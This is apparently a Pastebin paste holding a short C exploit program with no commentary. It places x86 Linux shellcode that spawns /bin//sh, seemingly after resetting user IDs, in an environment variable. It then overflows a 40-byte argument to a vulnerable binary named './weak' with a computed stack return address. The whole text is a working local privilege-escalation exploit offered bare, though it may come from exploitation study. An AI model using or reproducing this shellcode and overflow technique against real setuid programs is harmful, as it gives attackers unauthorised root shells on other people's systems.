Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- int main(int argc, char *argv[]){
- unsigned int i, return_addr;
- char shell_code[] =
- "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
- "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
- "\xe1\xcd\x80";
- char *env[2] = {shell_code, 0};
- char *buffer = (char *) malloc(40);
- return_addr = 0xbffffffa - (sizeof(shell_code)-1) - strlen("./weak");
- for(i=0; i <40; i+=1)
- *((unsigned int *)(buffer+i)) = return_addr;
- execle("./weak", "weak", buffer, 0, env);
- free(buffer);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement